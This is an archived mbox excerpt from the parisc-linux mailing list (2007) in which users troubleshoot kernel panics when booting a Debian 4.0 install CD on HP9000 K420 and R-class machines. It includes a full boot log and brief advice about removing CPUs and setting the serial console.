Original-Received: from su.bom.gov.au (su.bom.gov.au [134.178.5.27])
	by free.linux.hp.com (Postfix) with ESMTP id 100A37D41F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Apr 2007 21:14:46 -0600 (MDT)
Original-Received: from bom.gov.au (localhost [127.0.0.1])
	by su.bom.gov.au (8.13.3/8.13.3) with ESMTP id l3C3J3Gq018071;
	Thu, 12 Apr 2007 13:19:03 +1000 (EST)
X-Mailer: Mozilla 4.8 [en] (X11; U; Linux 2.4.18 i386)
X-Accept-Language: en
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: Xcl/EiFwbXBtibqHPTQ2q7wqLyUmZYhV
Status: R
X-Status: NT
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24453

This is a multi-part message in MIME format.
--------------FA5F61965C3D21BB5BB20A8B
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit


Hello,

thought i'd have another go at my HP sitting in the corner,
with the new CD debian-40r0-hppa-netinst.iso .

It seemed to boot the kernel but eventually I got:
>>>
Freeing unused kernel memory: 328k freed

FLT  0000Kernel panic - not syncing: Kernel Fault
>>>

It's a HP9000/869 K420 with PA7200 cpu's.

The debian info seems to suggest this should boot
with a serial console.

Can anyone offer me a direction in which to go to
>from here?

the boot output is attached,

thanks,
chs,
Paul.








--

____________________________________________

Paul
Australian Bureau Of Meteorology
____________________________________________




"In a world without walls and fences,
who needs windows and gates ?"

"Computers are like air conditioners.
Both stop working, if you open windows."






--------------FA5F61965C3D21BB5BB20A8B
Content-Type: text/plain; charset=us-ascii;
 name="hp_boot_output.txt"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="hp_boot_output.txt"

Main Menu: Enter command or menu > boot 10/12/5.2
Interact with IPL (Y or N)?> n

Booting... 
Boot IO Dependent Code (IODC) revision 0


HARD Booted.
palo ipl 1.14 root@duet Sat Apr  8 16:08:16 EDT 2006

Boot image contains:
    0/vmlinux32 4190085 bytes @ 0xd08800
    0/vmlinux64 5796516 bytes @ 0x781000
    0/ramdisk 4468640 bytes @ 0x335000

Information: No console specified on kernel command line. This is normal.
PALO will choose the console currently used by firmware (serial).
Command line for kernel: 'root=/dev/ram ramdisk_size=12580' console=ttyB0 TERM=vt
102 palo_kernel=0'0/vmlinux'
Selected kernel: '0/vmlinux from partition 0
Selected ramdisk: /ramdisk from partition 0
Warning: kernel name doesn't end with 32 or 64 -- Guessing... Choosing 32-bit ker
nelELF32 executable
Entry 00100000 first 00100000 n 3
Segment 0 load 00100000 size 2392744 mediaptr 0x1000
Segment 1 load 00349000 size 499712 mediaptr 0x24a000
Segment 2 load 00400000 size 381060 mediaptr 0x2c4000
Loading ramdisk 4468640 bytes @ 3fbac000...
Branching to kernel entry point 0x00100000.  If this is the last
message you see, you may need to switch your console.  This is
a common symptom -- search the FAQ and mailing list at parisc-linux.org

Linux version 2.6.18-4-parisc (Debian 2.6.18.dfsg.1-11) (waldi@debian.org) (gcc v
ersion 4.1.2 20061115 (prerelease) (Debian 4.1.1-21)) #1 Wed Feb 21 07:41:17 MST 
2007
FP[0] enabled: Rev 1 Model 11
The 32-bit Kernel has started...
Initialized PDC Console for debugging.
Determining PDC firmware type: System Map.
model 000058d0 00000491 00000000 00000002 544120d7 100000f1 00000004 0000008a 000
0008a
vers  0000000d
CPUID vers 11 rev 13 (0x0000016d)
model 9000/869/K420
Total Memory: 1152 MB
initrd: 4fbac000-4ffeefa0
initrd: reserving 3fbac000-3ffeefa0 (mem_max 48000000)
Built 1 zonelists.  Total pages: 294912
Kernel command line: root=/dev/ram ramdisk_size=12580' console=ttyB0 TERM=vt102 p
alo_kernel=0'0/vmlinux
PID hash table entries: 4096 (order: 12, 16384 bytes)
start_kernel(): bug: interrupts were enabled early
Console: colour dummy device 160x64
Dentry cache hash table entries: 262144 (order: 8, 1048576 bytes)
Inode-cache hash table entries: 131072 (order: 7, 524288 bytes)
Memory: 1179648k available
Security Framework v1.0.0 initialized
SELinux:  Disabled at boot.
Capability LSM initialized
Mount-cache hash table entries: 512
checking if image is initramfs... it is
Freeing initrd memory: 4363k freed
NET: Registered protocol family 16
EISA bus registered
Searching for devices...
Found devices:
1. U2-IOA BC Runway Port at 0xfff8a000 [10] { 12, 0x7, 0x580, 0x0000b }
2. KittyHawk GSY Core BA at 0xffd00000 [10/12] { 11, 0x0, 0x015, 0x00081 }, addit
ional addresses: 0xffd0c000 0xffc00000 
3. KittyHawk GSY Core SCSI at 0xffd06000 [10/12/5] { 10, 0x0, 0x015, 0x00082 }
4. KittyHawk GSY Core LAN (802.3) at 0xffd07000 [10/12/6] { 10, 0x0, 0x015, 0x000
8a }
5. KittyHawk GSY Core Centronics at 0xffd02000 [10/12/0] { 10, 0x0, 0x015, 0x0007
4 }, additional addresses: 0xffd01000 0xffd03000 
6. KittyHawk GSY Core PS/2 Port at 0xffd08000 [10/12/7] { 10, 0x0, 0x015, 0x00084
 }
7. KittyHawk GSY Core PS/2 Port at 0xffd08100 [10/12/8] { 10, 0x0, 0x015, 0x00084
 }
8. KittyHawk GSY Core FW-SCSI at 0xf1800000 [10/0] { 4, 0x1, 0x015, 0x00089 }
9. Gecko BOA BC GSC+ Port at 0xf1804000 [10/4] { 7, 0x0, 0x500, 0x0000c }
10. Eole CAP/MUX at 0xf1900000 [10/4/0] { 5, 0x0, 0x015, 0x0000d }
11. Wizard SCSI at 0xf1904000 [10/4/4] { 4, 0x0, 0x004, 0x0003b }
12. Wizard SCSI at 0xf190c000 [10/4/12] { 4, 0x0, 0x004, 0x0003b }
13. Interphase NIO-100BaseTX at 0xf1910000 [10/4/16] { 4, 0x0, 0x004, 0x00382 }
14. Gecko BOA BC HP-PB Port at 0xf193c000 [10/4/60] { 7, 0x0, 0x103, 0x0000c }
15. U2-IOA BC GSC+ Port at 0xf183f000 [10/63] { 7, 0x1, 0x501, 0x0000c }
16. U2-IOA BC Runway Port at 0xfff88000 [8] { 12, 0x7, 0x580, 0x0000b }
17. U2-IOA BC GSC+ Port at 0xf103f000 [8/63] { 7, 0x1, 0x501, 0x0000c }
18. ThunderHawk DC3 120 1M (K420) at 0xfffa0000 [32] { 0, 0x0, 0x58d, 0x00004 }
19. ThunderHawk DC3 120 1M (K420) at 0xfffa2000 [34] { 0, 0x0, 0x58d, 0x00004 }
20. ThunderHawk DC3 120 1M (K420) at 0xfffa4000 [36] { 0, 0x0, 0x58d, 0x00004 }
21. ThunderHawk DC3 120 1M (K420) at 0xfffa6000 [38] { 0, 0x0, 0x58d, 0x00004 }
22. Memory at 0xfffb1000 [49] { 1, 0x0, 0x032, 0x00009 }
Enabling regular chassis codes support v0.05
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 34 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 36 failed with error 1
CONFIG_SMP=n  ignoring additional CPUs
CPU: probe of 38 failed with error 1
CPU(s): 1 x PA7200 (PCX-T') at 120.000000 MHz
Setting cache flush threshold to 4a0 (1 CPUs online)
Found U2 at 0xfff8a000
Found U2 at 0xfff88000
Lasi version 0 at 0xffd00000 found.
LED display at ffd0c000 registered
Found GeckoBoa at 0xf1804000
NET: Registered protocol family 2
IP route cache hash table entries: 65536 (order: 6, 262144 bytes)
TCP established hash table entries: 262144 (order: 8, 1048576 bytes)
TCP bind hash table entries: 65536 (order: 6, 262144 bytes)
TCP: Hash tables configured (established 262144 bind 65536)
TCP reno registered
Enabling PDC chassis warnings support v0.05
unwind_init: start = 0x1034acc0, end = 0x1036f7b0, entries = 9391
audit: initializing netlink socket (disabled)
audit(1062307039.536:1): initialized
VFS: Disk quotas dquot_6.5.1
Dquot-cache hash table entries: 1024 (order 0, 4096 bytes)
Initializing Cryptographic API
io scheduler noop registered
io scheduler anticipatory registered
io scheduler deadline registered
io scheduler cfq registered (default)
PDC Stable Storage facility v0.30
Soft power switch support not available.
STI GSC/PCI core graphics driver Version 0.9a
Generic RTC Driver v1.07
Serial: 8250/16550 driver $Revision: 1.90 $ 4 ports, IRQ sharing enabled
Serial mux driver (8 ports) Revision: 0.3
ttyB0 at MMIO 0xf1900800 (polled) is a Mux
ttyB1 at MMIO 0xf1900880 (polled) is a Mux
ttyB2 at MMIO 0xf1900900 (polled) is a Mux
ttyB3 at MMIO 0xf1900980 (polled) is a Mux
ttyB4 at MMIO 0xf1900a00 (polled) is a Mux
ttyB5 at MMIO 0xf1900a80 (polled) is a Mux
ttyB6 at MMIO 0xf1900b00 (polled) is a Mux
ttyB7 at MMIO 0xf1900b80 (polled) is a Mux
RAMDISK driver initialized: 16 RAM disks of 12580K size 1024 blocksize
serio: GSC PS/2 keyboard port at 0x00028000 irq 19 @ 10:12:7
serio: GSC PS/2 mouse port at 0x0002a100 irq 19 @ 10:12:8
mice: PS/2 mouse device common for all mice
TCP bic registered
NET: Registered protocol family 1
NET: Registered protocol family 17
Freeing unused kernel memory: 328k freed

FLT  0000Kernel panic - not syncing: Kernel Fault

--------------FA5F61965C3D21BB5BB20A8B
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--------------FA5F61965C3D21BB5BB20A8B--



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Andrew Gaylard" <ag@computer.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] almost booted a K420...
Date: Thu, 12 Apr 2007 08:41:10 +0200
Lines: 75
Approved: news@gmane.org
Message-ID: <9df6f3ea0704112341y55866aebk73373b75e90686d1__30040.0764368989$1416624330$gmane$org@mail.gmail.com>
References: <461DA527.8FF91FC1@bom.gov.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1130272594=="
X-Trace: ger.gmane.org 1416624330 23530 80.91.229.3 (22 Nov 2014 02:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Paul (NCC/CS)." <pts@bom.gov.au>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Apr 2007 06:41:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 12 Apr 2007 08:41:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0B6C57DA76;
	Thu, 12 Apr 2007 00:41:31 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19720-06; Thu, 12 Apr 2007 00:41:30 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 847697DA77;
	Thu, 12 Apr 2007 00:41:27 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D24067D95F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 00:41:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19720-03 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 00:41:23 -0600 (MDT)
Original-Received: from wx-out-0506.google.com (wx-out-0506.google.com [66.249.82.238])
	by free.linux.hp.com (Postfix) with ESMTP id 10A797D83F
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 00:41:23 -0600 (MDT)
Original-Received: by wx-out-0506.google.com with SMTP id s13so519897wxc
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 11 Apr 2007 23:41:20 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:references:x-google-sender-auth;
	b=OXXxCTqcqP27LjLhGMOwFTdgcAHUKI2Sj7x9atIfL4LlgYjluYD01xdEJtUo1qTMtqQsJ0rSXIK8fm76cG4+TpBus9qNICBZjWKaVnGOJPRU+bA5QKEfGSgOmAo+PyoPGZ23ffnml/mhQBTCB213bdASM+caHfVnP+q7Rtqz1k8=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:references:x-google-sender-auth;
	b=GJlpGvksYNT0AFAzdisF0BF2QWOoe6rRA2UQmcWx07c+tlETyoj+iQ5WiPzMCLn4mCcCA9vaDOQIFtIL+pkByzIDW3B9CEhl5viSLk0WDdGxpeNvnNe3DFHxofh9AGbHcuse1iezBBM+GtKHbB20tiugcwCeBlRQXMqUCUALJRM=
Original-Received: by 10.78.185.16 with SMTP id i16mr278839huf.1176360070987;
	Wed, 11 Apr 2007 23:41:10 -0700 (PDT)
Original-Received: by 10.78.44.15 with HTTP; Wed, 11 Apr 2007 23:41:10 -0700 (PDT)
In-Reply-To: <461DA527.8FF91FC1@bom.gov.au>
X-Google-Sender-Auth: d37b726a5fb253c2
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: p+Ykc18deWU7l7eUfHVz2XU5U3U4N8+r
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24454

--===============1130272594==
Content-Type: multipart/alternative; 
	boundary="----=_Part_22270_10809497.1176360070915"

------=_Part_22270_10809497.1176360070915
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 4/12/07, Paul (NCC/CS). <pts@bom.gov.au> wrote:
>
>
> thought i'd have another go at my HP sitting in the corner,
> with the new CD debian-40r0-hppa-netinst.iso .
>
> It seemed to boot the kernel but eventually I got:
> >>>
> Freeing unused kernel memory: 328k freed
>
> FLT  0000Kernel panic - not syncing: Kernel Fault
> >>>
>
> It's a HP9000/869 K420 with PA7200 cpu's.
>
> The debian info seems to suggest this should boot
> with a serial console.
>
> Can anyone offer me a direction in which to go to
> from here?
>

Hi Paul,

I'm using a K370 with great success. I'm not sure whether
the Debian install CD will work on a multi-CPU box.  You can
try unplugging all but the first CPU and see if that makes a
difference.  Also, you may have to add "console=ttyB0" or
somesuch to PALO's boot line -- the K classes (and perhaps
a few other boxes) have very different serial hardware.  Oh
wait, I see you have it already.

Sorry this  is a bit vague; I run Gentoo and it was very simple
to boot the install CD.  So if you hit a dead-end, you might
give it a try.

Good luck,
Andrew

------=_Part_22270_10809497.1176360070915
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On 4/12/07, <b class="gmail_sendername">Paul (NCC/CS).</b> &lt;<a href="mailto:pts@bom.gov.au">pts@bom.gov.au</a>&gt; wrote:<div><span class="gmail_quote"></span><blockquote class="gmail_quote" style="border-left: 1px solid rgb(204, 204, 204); margin: 0pt 0pt 0pt 0.8ex; padding-left: 1ex;">
<br>thought i&#39;d have another go at my HP sitting in the corner,<br>with the new CD debian-40r0-hppa-netinst.iso .<br><br>It seemed to boot the kernel but eventually I got:<br>&gt;&gt;&gt;<br>Freeing unused kernel memory: 328k freed
<br><br>FLT&nbsp;&nbsp;0000Kernel panic - not syncing: Kernel Fault<br>&gt;&gt;&gt;<br><br>It&#39;s a HP9000/869 K420 with PA7200 cpu&#39;s.<br><br>The debian info seems to suggest this should boot<br>with a serial console.<br><br>
Can anyone offer me a direction in which to go to<br>from here?<br></blockquote></div><br>Hi Paul,<br><br>I&#39;m using a K370 with great success. I&#39;m not sure whether<br>the Debian install CD will work on a multi-CPU box.&nbsp; You can
<br>try unplugging all but the first CPU and see if that makes a<br>difference.&nbsp; Also, you may have to add &quot;console=ttyB0&quot; or<br>somesuch to PALO&#39;s boot line -- the K classes (and perhaps<br>a few other boxes) have very different serial hardware.&nbsp; Oh
<br>wait, I see you have it already.<br><br>Sorry this&nbsp; is a bit vague; I run Gentoo and it was very simple<br>to boot the install CD.&nbsp; So if you hit a dead-end, you might<br>give it a try.<br><br>Good luck,<br>Andrew

------=_Part_22270_10809497.1176360070915--

--===============1130272594==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1130272594==--



From - Thu Nov 08 21:35:48 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: ram <talk2ram@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] almost booted a K420...
Date: Thu, 12 Apr 2007 16:20:40 +0530
Lines: 87
Approved: news@gmane.org
Message-ID: <b74751490704120350s162d6140g95622904d2142bca__34650.792546063$1416624330$gmane$org@mail.gmail.com>
References: <461DA527.8FF91FC1@bom.gov.au>
	<9df6f3ea0704112341y55866aebk73373b75e90686d1@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1016092917=="
X-Trace: ger.gmane.org 1416624330 23535 80.91.229.3 (22 Nov 2014 02:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:30 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Andrew Gaylard" <ag@computer.org>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Apr 2007 10:50:56 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 12 Apr 2007 12:50:56 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D71ED7DA8C;
	Thu, 12 Apr 2007 04:50:54 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21251-01; Thu, 12 Apr 2007 04:50:52 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id A1C757DA81;
	Thu, 12 Apr 2007 04:50:49 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6AA827DA83
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 04:50:44 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 20847-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 04:50:42 -0600 (MDT)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.227])
	by free.linux.hp.com (Postfix) with ESMTP id 9B77B7DA81
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 04:50:42 -0600 (MDT)
Original-Received: by wr-out-0506.google.com with SMTP id i4so427914wra
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 12 Apr 2007 03:50:42 -0700 (PDT)
DKIM-Signature: a=rsa-sha1; c=relaxed/relaxed; d=gmail.com; s=beta;
	h=domainkey-signature:received:received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=IlDdzo58XqNl7+XMd0mFCiJRuzM+T/aVfZ0mAAjjSIaSGC/eqK9vZFS0UWflUHFLCtY7FFr+NYzFuLdPuxT8E/SKAWh1GjpFCswjDQ0+2/J80XMuLUhUVWYQjGehtBn2LBRH5d2fm8hWI7sQf/0GuaZEtCD26p35zqMKIGats2U=
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:to:subject:cc:in-reply-to:mime-version:content-type:references;
	b=mo510AuFoUGmIURDDWNmqV3e9c+rHGeGsr9yPUA9GtTmfgqR+mj0rdpinA5blbXNW2MH4ZJ4EntTNC85p84VcILGTCOYBTSHbTTT6nA0YHJ78ICJlcQEG/ohnAhqIMEZfLTWFevRBQAyGG7yKIDtCKITOzEdjwJ7jEx/I5WolAk=
Original-Received: by 10.115.59.1 with SMTP id m1mr695627wak.1176375041053;
	Thu, 12 Apr 2007 03:50:41 -0700 (PDT)
Original-Received: by 10.115.76.4 with HTTP; Thu, 12 Apr 2007 03:50:40 -0700 (PDT)
In-Reply-To: <9df6f3ea0704112341y55866aebk73373b75e90686d1@mail.gmail.com>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: dH53KTwvMydyuIigZWplcVlraGRhZtq7
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24455

--===============1016092917==
Content-Type: multipart/alternative; 
	boundary="----=_Part_30510_10967414.1176375040964"

------=_Part_30510_10967414.1176375040964
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

> Hi Paul,
>
> I'm using a K370 with great success. I'm not sure whether
> the Debian install CD will work on a multi-CPU box.  You can
> try unplugging all but the first CPU and see if that makes a
> difference.  Also, you may have to add "console=ttyB0" or
> somesuch to PALO's boot line -- the K classes (and perhaps
> a few other boxes) have very different serial hardware.  Oh
> wait, I see you have it already.
>
> Sorry this  is a bit vague; I run Gentoo and it was very simple
> to boot the install CD.  So if you hit a dead-end, you might
> give it a try.


Hi

some time back i posted the problem, but  some one responded, but i did not
solve the problem

after i saw the new version released, i want to try, but i see the same
problem

 Kernel Panic- not syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O
MMU is out of mapping resources

iam using  webconsole and installing

any suggestion make my system working with Debian 4.X

HP R Class 9000, 1GB RAM, Built in CD ROM

thanks
ram

------=_Part_30510_10967414.1176375040964
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

<br>
<div>
<blockquote class="gmail_quote" style="PADDING-LEFT: 1ex; MARGIN: 0px 0px 0px 0.8ex; BORDER-LEFT: #ccc 1px solid">Hi Paul,<br><br>I&#39;m using a K370 with great success. I&#39;m not sure whether<br>the Debian install CD will work on a multi-CPU box.&nbsp; You can 
<br>try unplugging all but the first CPU and see if that makes a<br>difference.&nbsp; Also, you may have to add &quot;console=ttyB0&quot; or<br>somesuch to PALO&#39;s boot line -- the K classes (and perhaps<br>a few other boxes) have very different serial hardware.&nbsp; Oh 
<br>wait, I see you have it already.<br><br>Sorry this&nbsp; is a bit vague; I run Gentoo and it was very simple<br>to boot the install CD.&nbsp; So if you hit a dead-end, you might<br>give it a try.</blockquote>
<div>&nbsp;</div>
<div>Hi</div>
<div>&nbsp;</div>
<div>some time back i posted the problem, but&nbsp; some one responded, but i did not solve the problem</div>
<div>&nbsp;</div>
<div>after i saw the new version released, i want to try, but i see the same problem</div>
<div>&nbsp;</div>
<div>
<div>Kernel Panic- not syncing:drivers/parisc/ccio-dma.c: ccio_alloc_range() I/O MMU is out of mapping resources</div>&nbsp;</div>
<div>iam using&nbsp; webconsole and installing</div>
<div>&nbsp;</div>
<div>any suggestion make my system working with Debian 4.X</div>
<div>&nbsp;</div>
<div>HP R Class 9000, 1GB RAM, Built in CD ROM</div>
<div>&nbsp;</div>
<div>thanks</div>
<div>ram&nbsp;</div></div>

------=_Part_30510_10967414.1176375040964--

--===============1016092917==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1016092917==--



From - Thu Nov 08 21:35:49 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [KJ][PATCH] ROUND_?UP macro cleanup in
	drivers/parisc
Date: Tue, 3 Apr 2007 23:02:04 -0600
Lines: 142
Approved: news@gmane.org
Message-ID: <20070404050204.GC9446__14647.1456428573$1416624330$gmane$org@colo.lackof.org>
References: <20070331105746.GA14572@arun.site>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624330 23536 80.91.229.3 (22 Nov 2014 02:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:45:30 +0000 (UTC)
Cc: kernel-janitors@lists.osdl.org,
 akpm@linux-foundation.org,
 linux-kernel@vger.kernel.org,
 parisc-linux@lists.parisc-linux.org
To: Milind Arun Choudhary <milindchoudhary@gmail.com>
Original-X-From: - Wed Jul 02 21:27:39 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
